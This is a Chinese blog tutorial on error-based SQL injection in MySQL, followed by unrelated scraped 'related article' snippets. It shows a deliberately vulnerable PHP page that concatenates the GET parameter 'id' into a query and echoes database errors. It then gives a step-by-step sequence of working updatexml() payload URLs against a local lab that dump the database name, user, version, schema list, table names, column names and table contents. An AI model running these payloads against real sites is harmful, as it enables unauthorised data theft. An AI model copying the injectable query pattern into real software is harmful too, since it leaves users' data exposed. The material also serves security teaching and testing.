SQL注入原理-报错盲注

2023-11-16

        小伙伴们大家好,本期为大家带来的内容是SQL注入原理之报错盲注。

目录

为什么要使用报错盲注?

常见的报错函数

updatexml()函数

extractvalue()函数

实战演示

1.检测是否存在注入点

2.执行报错语句爆出数据

1、爆出当前数据库名

2、爆出当前数据库用户名

3、爆出当前数据库的版本

4、爆出所有的数据库名

5、爆出数据库下的表名

6、爆出数据库下的所有字段名

7、查询表中的数据


为什么要使用报错盲注?

        对于一些网站,不会把后端SQL语句执行的结果展示在前端,而只是作为一种校验功能,例如登录的功能,通过对用户名与密码的查询看数据库中是否存在此用户。

        这时候我们就可以通过构造错误的SQL语句让数据库执行,故意让数据库爆出错误信息。这样我们就可以通过爆出的错误信息得到我们想要的数据。(另外一定要注意,报错盲注的前提是后端语言代码使用了报错的函数,如PHP的mysqli_error()函数。)

常见的报错函数

updatexml()函数

updatexml()函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 新的XML片段 ,然后返回更改的XML。

updatexml函数的使用形式为updatexml(XML_document,XPath_string,new_value)

XML_document是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。我们就是通过这个参数让数据库报错,继而得到我们需要的数据。
new_value,String格式,替换查找到的符合条件的数据。

例如我们使用MySQL执行下面的语句:

select updatexml(1,concat(0x7e,user(),0x7e),1);

其中concat()函数是把传入的值拼接成一个字符串,0x7e是~符号的ascii码的16进制,是为了方便我们找到报错的信息。 

extractvalue()函数

extractvalue()函数与updatexml()函数类似,只不过它比updatexml()函数少了一个new_value参数。

extractvalue()函数的使用形式为extractvalue(XML_document,XPath_string)

XML_document是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。我们也是通过这个参数让数据库报错,继而得到我们需要的数据。

例如我们使用MySQL执行下面的语句:

select extractvalue(1,concat(0x7e,user(),0x7e));

实战演示

源码:

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = @$_GET['id'];
        // 执行的SQL语句
        $sql = "select id,username,password,phone,e_mail from guests where id=$id limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($row) {

            echo "<center><br/>";
            echo "<h1>You have successfully executed SQL statement for querying the data with id!</h1>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            print_r(mysqli_error($coon));
            echo "</h1></center>";
        }
    } else {
        echo "<center><br/>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

1.检测是否存在注入点

构造payload:“http://127.0.0.1/opsql/sql09.php?id=1 and 1=2”

http://127.0.0.1/opsql/sql09.php?id=1 and 1=2

and 1=1时页面正常回显,and 1=2时页面没有正常回显,代表构造的and条件插入到了后端SQL查询语句,说明存在注入点。

但是呢,我们看不到数据,页面只告诉我们SQL语句查询成功,这就有点伤。

要怎么做呢?

这就要用到我们的报错注入了。

2.执行报错语句爆出数据

1、爆出当前数据库名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

看到当前数据库名为test。

2、爆出当前数据库用户名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,user(),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,user(),0x7e),1)

3、爆出当前数据库的版本

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,version(),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,version(),0x7e),1)

4、爆出所有的数据库名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata),0x7e),1)

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。   

发现没有显示数据,咋回事呢?

        页面显示returns more than 1 row,代表咱们查询的结果可能太多了,咱们要在加一个limit num1,num2限制条件。

limit num1,num2 的作用使用显示查询结果索引为num1后num2个数据

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)

接下来我们可以通过增加limit的num1 的值来获取剩下的结果。

这里就不一一演示了。

不过我们还可以使用group_concat()函数使查询到的多条结果拼接成一条结果,但是updatexml()函数报错结果有32位的长度限制。

5、爆出数据库下的表名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='study'),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='study'),0x7e),1)

6、爆出数据库下的所有字段名

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='study' and table_name='student'),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='study' and table_name='student'),0x7e),1)

7、查询表中的数据

payload:

“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(name) from study.student),0x7e),1)”

http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(name) from study.student),0x7e),1)

查询其他的字段信息就交给小伙伴们了!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入原理-报错盲注 的相关文章

  • SQL Server 批量插入 - “批量加载数据转换错误”

    bulk insert dbo A FROM d AData csv WITH FIELDTERMINATOR ROWTERMINATOR n 将批量数据插入数据库时 在检查可疑数据后 我遇到了无法解释的错误 消息 4867 16 级 状态
  • SQL 选择 n 到 m 关系

    我有一个n to m之间的关系Author and Book 表作者 ID Name 1 Follett 2 Rowling 3 Martin 桌书 ID Title Category 1 A Dance with Dragons Fant
  • 如何比较行内的重叠值?

    我似乎对这个 SQL 查询有问题 SELECT FROM appts WHERE timeStart gt timeStart AND timeEnd lt timeEnd AND dayappt boatdate 时间格式为军用时间 物流
  • 如何将 sql 数据输出到 QCalendarWidget

    我希望能够在日历小部件上突出显示 SQL 数据库中的一天 就像启动程序时突出显示当前日期一样 在我的示例中 它是红色突出显示 我想要发生的是 当用户按下突出显示的日期时 数据库中日期旁边的文本将显示在日历下方的标签上 这是我使用 QT De
  • Magento 设置脚本中的 ALTER TABLE 不使用 SQL

    乔纳森 戴 https stackoverflow com users 336905 jonathan day says 更新不应采用以下形式 SQL命令 我没遇到过 任何 DDL 或 DML 语句不能 通过 Magento 的配置执行 结
  • 如何在 PostgreSQL 中使用条件和子查询创建唯一索引?

    我使用 PGSQL 并尝试添加下面的索引 CREATE UNIQUE INDEX fk client ON user client fk client WHERE fk client NOT IN SELECT fk client FROM
  • SQL 约束最小值/最大值?

    有没有办法为数字字段设置 SQL 约束 最小值应为 1234 最大值应为 4523 SQL Server 语法为the check约束 http technet microsoft com en us library ms179491 as
  • MySQL LIKE %string% 不够宽容。我还有什么可以用的吗?

    我有一位客户询问他们的搜索是否可以搜索公司名称 这些名称可以根据用户输入以多种格式进行搜索 例如数据库中存储的公司是 A J R Kelly Ltd 如果用户搜索 一个 J R Kelly 被发现 使用
  • 通过 SQLAlchemy 获取随机行

    如何使用 SQLAlchemy 从表中选择一个或多个随机行 这在很大程度上是一个特定于数据库的问题 我知道 PostgreSQL SQLite MySQL 和 Oracle 具有通过随机函数排序的能力 因此您可以在 SQLAlchemy 中
  • 使用条件 SQL 统计每月汇总记录

    我有一张桌子 我们就叫他们桌子吧SUMMARYDATA NIP NAME DEPARTMENT STATUSIN STATUSOUT TOTALLOSTTIME A1 ARIA BB 2020 01 21 08 06 23 2020 01
  • 如何在 Spring Data 中选择不同的结果

    我在使用简单的 Spring Data 查询或 Query 或 QueryDSL 在 Spring Data 中构建查询时遇到问题 如何选择三列 研究 国家 登录 不同的行 并且查询结果将是用户对象类型的列表 Table User Id S
  • 自动提取数据 - Oracle SQL Developer

    我通过 SQL Developer 连接到 Oracle 数据库 我想编写一个返回每月数据集的查询 然后将该数据提取到分隔文本文件中 我知道如何做到这一点就好了 我想知道是否有一种方法可以编写一个脚本来运行查询并在一年内逐月提取数据 这样我
  • TSQL - 生成文字浮点值

    我理解比较浮点数时遇到的许多问题 并对它们在这种情况下的使用感到遗憾 但我不是表格作者 只有一个小障碍需要克服 有人决定使用浮点数 就像您期望使用 GUID 一样 我需要检索具有特定浮点值的所有记录 sp help MyTable Colu
  • 没有为 1 个或多个必需参数给出值。更新SQL

    我正在编写一个程序 当用户在列表视图上选择记录时 该程序会更新密码或积分 我收到错误 没有为 1 个或多个必需参数给出值 我不知道如何纠正 我是否遗漏了一些明显的东西 Dim sql As String UPDATE Users SET P
  • NVARCHAR 变量在Where 子句中不起作用

    在 SQL Server 我想是 2018 我不知道如何判断 中 我的变量不起作用WHERE的条款NVARCHAR 比较应该返回值 但它什么也没返回 如果我只是手动输入声明的文本 它会突然起作用并返回值 没有任何逻辑原因应该有任何不同 类型
  • 更好地理解 SQL Server 中的架构

    就像标题一样 我还是一个SQLServer菜鸟 当我创建表 Mytable 时 数据库中显示 dbo Mytable 但有人能让我更好地理解模式吗 另外 在 Server 2008 TSQL 一书中 Itzik 说 在你的数据库中 表属于模
  • 如何用约束标记一大组“传递群”?

    在 NealB解决方案之后进行编辑 与以下解决方案相比 NealB的解决方案非常非常快任何另一个 https stackoverflow com q 18033115 answers and 提出了关于 添加约束以提高性能 的新问题 Nea
  • SQL - 需要查找重复记录但排除反向事务

    我有一张交易表 偶尔会有 重复条目 如果 当管理员发现这些重复条目时 他们将撤销交易 从而创建负值 但由于监管要求 原始重复条目仍然保留 我想创建一个 SQL 查询 并使用 Crystal Reports 来制作报告 以便管理员轻松查找重复
  • IIF(...) 不是公认的内置函数

    我正在尝试在 Microsoft SQL Server 2008 R2 中使用它 SET SomeVar SomeOtherVar IIF SomeBool value when true value when false 但我收到一个错误
  • 在Oracle中使用IW和MM

    我使用 IW 表示每周结果 使用 MM 表示每月结果 但我总是收到错误 ORA 00979 not a GROUP BY expression 00979 00000 not a GROUP BY expression 我的疑问是这些 We

随机推荐

  • 小样本图像分类研究综述

    https kns cnki net kcms2 article abstract v 3uoqIhG8C44YLTlOAiTRKibYlV5Vjs7ioT0BO4yQ4m mOgeS2ml3UDKtyAQtTA0dGC TDvW fPi0
  • 华为OD机试真题 Java 实现【完美走位】【2022.11 Q4】

    题目描述 输入一个长度为4的倍数的字符串 字符串中仅包含WASD四个字母 将这个字符串中的连续子串用同等长度的仅包含WASD的字符串替换 如果替换后整个字符串中WASD四个字母出现的频数相同 那么我们称替换后的字符串是 完美走位 求子串的最
  • vue+播放直播视频流(websocket的流文件)

    前言 之前分享的有 rtmp直播流 flv直播流的一些方法 这里分享下 播放 websocket的直流的方法 使用的方法是JSMpeg JSMpeg是JS写的视频 音频解码器 能使用WebGL Canvas2D渲染以及WebAudio声音输
  • Linux14.04下安装网易云音乐和搜狗输入法(太棒了!!!)

    本文转载于 http blog csdn net tao 627 article details 51535294 注 本人比较喜欢挺音乐 一直用的是Linux版本 一直苦苦的用着网页版的网易云音乐 哎呀 反正不太好 不舒服 今天由于其他原
  • React 从零开始学习(一) —— 搭建项目

    React 文档地址 https react docschina org docs create a new react app html 简介 React 是一个用于构建用户界面的 JAVASCRIPT 库 React 主要用于构建 UI
  • 如何通过JAVA代码实现多线程分段下载+断点续传

    多线程下载技术是很常见的一种下载方案 这种方式充分利用了多线程的优势 在同一时间段内通过多个线程发起下载请求 将需要下载的数据分割成多个部分 每一个线程只负责下载其中一个部分 然后将下载后的数据组装成完整的数据文件 这样便大大加快了下载效率
  • matplotlib.pyplot.plot()参数详解

    https matplotlib org api pyplot summary html 在交互环境中查看帮助文档 import matplotlib pyplot as plt help plt plot 以下是对帮助文档重要部分的翻译
  • CloudCompare——计算点云的法向量

    目录 1 Computing normals on a cloud 2 点云法线计算结果 3 反转法线方向 Normals gt Invert 4 With Minimum Spanning Tree 5 With Fast Marchin
  • AutoCAD 二次开发之 ObjectARX 环境搭建

    AutoCAD2017 VS2015 Win7 Win10 第一步 安装ObjectARX SDK 库 解压 ObjectARX SDK 文件到指定路径 C ObjectARX 避免出错 使用默认路径 第二步 安装向导程序 创建注册表 新建
  • 使用JestClient连接elasticsearch-5.x对数据进行分组聚合

    原本数据存放在mysql中 项目需求是从mysql中查出来计算推送给前端 但是随着数据量增大 我们的查询语句也复杂 性能会明显下降 所以就考虑干脆存放到elasticsearch中 查询计算都方便 于是去和公司专门负责es平台服务的人对接
  • IT项目管理大作业-个人报告

    在本次IT项目管理大作业中我主要负责了寻找对应模块和工具的工作 主要职责就是负责百度搜索 为开发人员和测试人员提供支持 虽然在本次大作业的实际执行中 由于我实习白天确实很忙外加团队开发人员都有很强的开发能力 因此基本上开发人员和测试人员还是
  • JAVA和C++区别都有哪些?

    转载自品略图书馆 http www pinlue com article 2020 05 1022 4710469487040 html 这是Java与C 区别的一个比较完整的答案 大家可以学习一下 JAVA和C 都是面向对象语言 也就是说
  • shiro使用自定义realm实现数据认证

    自定义realm实现数据认证 在开发中 有时会与一些nosql或者其他地方保存的数据进行认证 这时候 shiro定义的那些realm类可能不能满足实际的功能需求 这时候我们可以通过自定义一个realm来沟通这些数据 实现认证和权限控制 首先
  • Python数据挖掘进阶--泰坦尼克号案例分析

    一 概念介绍 1 机器学习 机器学习算法来建立模型 当有新的数据过来 通过模型能够进行预测 2 特征 features 和标签 labels 特征 数据的属性 通过这些特征可以代表数据的特点 例如Excel的字段列名 也叫做解释变量或自变量
  • Java基础-File

    File 1 file和IO的概述 2 Flie的构造方法 3 File 绝对路径和相对路径 4 File创建功能 5 File 判断和获取功能 6 File listFile 7 案例 File的练习 上一篇Java基础 Stream流
  • 算法分析与设计二分搜索问题Python

    需求分析 设a 0 n 1 是已排好序的数组 试改写二分搜索算法 使得当搜索元素x不在数组a中时 返回小于x的最大元素的位置i和大于x的最小元素的位置j 当搜索元素x在数组a中时 返回x在数组中的位置 此时i和j相同 代码如下 def bi
  • 如何将分布式锁性能提升100倍【含面试题】

    面试题分享 云数据解决事务回滚问题 点我直达 2023最新面试合集链接 2023大厂面试题PDF 面试题PDF版本 java python面试题 项目实战 AI文本 OCR识别最佳实践 AI Gamma一键生成PPT工具直达链接 玩转clo
  • List接口不是很详细的介绍

    文章目录 前言 一 List是什么 1 1 List概述 1 2 常用API 带有Index 都是List新增方法 1 3 List用法 二 常见实用类 2 1 ArrayList与Vector 2 2 ArrayList与LinkedLi
  • 微信小程序之behaviors

    目录 简介 使用方法 意义 简介 微信小程序的behaviors是一种可复用的代码块 可以在多个组件中共享 它类似于面向对象编程中的 继承 可以将一些通用的逻辑和方法封装在behaviors中 然后在需要使用的组件中引用该behaviors
  • SQL注入原理-报错盲注

    小伙伴们大家好 本期为大家带来的内容是SQL注入原理之报错盲注 目录 为什么要使用报错盲注 常见的报错函数 updatexml 函数 extractvalue 函数 实战演示 1 检测是否存在注入点 2 执行报错语句爆出数据 1 爆出当前数